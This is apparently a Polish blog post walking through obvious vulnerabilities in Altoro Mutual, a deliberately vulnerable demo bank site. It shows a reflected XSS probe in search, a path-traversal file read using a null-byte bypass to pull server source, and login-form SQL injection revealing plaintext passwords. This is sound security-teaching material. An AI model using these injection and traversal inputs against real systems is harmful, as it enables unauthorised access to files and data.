Na początek założenie - ten wpis nie będzie powstawał dłużej niż 30 minut. O czym będzie - o oczywistych oczywistościach, które rzucają się w oczy w Altoro Mutual. Zacznijmy od części dla użytkownika nieuwierzytelnionego.
Altoro Mutual: oczywiste oczywistości (na początek)
Po pierwsze - Search
Bardzo typowy błąd - zapytanie wpisane przez użytkownika wypisywane jest na stronie bez żadnego encodingu, w końcu użytkownicy szukają tylko "prawdziwych" słów, a nie jakichś "krzaczków", prawda? No niestety, nie zawsze...
Jak to wygląda w przypadku Altoro? Poszukajmy mojego ulubionego payloadu, czyli pmq'"<>. Rezultat? Zgodny z oczekiwaniami:
<div class="fl" style="width: 99%;"> <h1>Search Results</h1> <p>No results were found for the query:<br /><br /> <span id="_ctl0__ctl0_Content_Main_lblSearch">pmq'"<></span></p> </div>
Zwracam uwagę na nazwę kontrolki użytej w tym wypadku. W atrybucie id mamy lbl, czyli prawdopodobnie kontrolka Label. Przypominam: Niekonsekwencje w ASP.NET.
Po drugie: default.aspx?content=personal_loans.htm
Przy takiej konstrukcji URLa bardzo często można czytać dowolne pliki z serwera. Czy tak będzie i tym razem? Prosta próba dla URLa: http://demo.testfire.net/default.aspx?content=XXXpersonal_loans.htm
An Error Has Occurred Summary: Could not find file 'C:\downloads\AltoroMutual_v6\website\static\XXXpersonal_loans.htm'.
To spróbujmy przeczytać plik default.aspx (pełen komunikat błędu dokładnie mówi, gdzie plik leży): http://demo.testfire.net/default.aspx?content=../default.aspx, odpowiedź:
Error! File must be of type TXT or HTM
No to nie pozostaje nic innego jak użyć NULL byte: http://demo.testfire.net/default.aspx?content=../default.aspx%00.htm
<%@ Page Language="C#" Inherits="Altoro.Default" CodeFile="default.aspx.cs" MasterPageFile="~/default.master" Title="Altoro Mutual" %>
Działa, może się przyda później, na razie zostawmy to...
I na koniec SQLi
Co można zepsuć w formatce logowania? Tak, oczywiście, może tam być SQLi. W praktyce to się prawie nie zdarza, sam trafiłem SQLi w formatce logowania raz lub dwa razy, no ale to jest aplikacja przykładowa, więc można jej wybaczyć. To co, "ciapek"?
An Error Has Occurred Summary: Syntax error (missing operator) in query expression 'username = ''a' AND password = 'a''. Error Message: System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression 'username = ''a' AND password = 'a''.
Aha, czyli przy okazji wiemy, że hasła przechowywane są w plaintext. Nie to, by było nam to potrzebne, prawda?